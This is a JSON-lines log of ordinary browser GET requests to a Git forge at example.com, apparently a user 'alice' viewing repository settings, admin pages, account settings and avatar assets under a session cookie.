{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
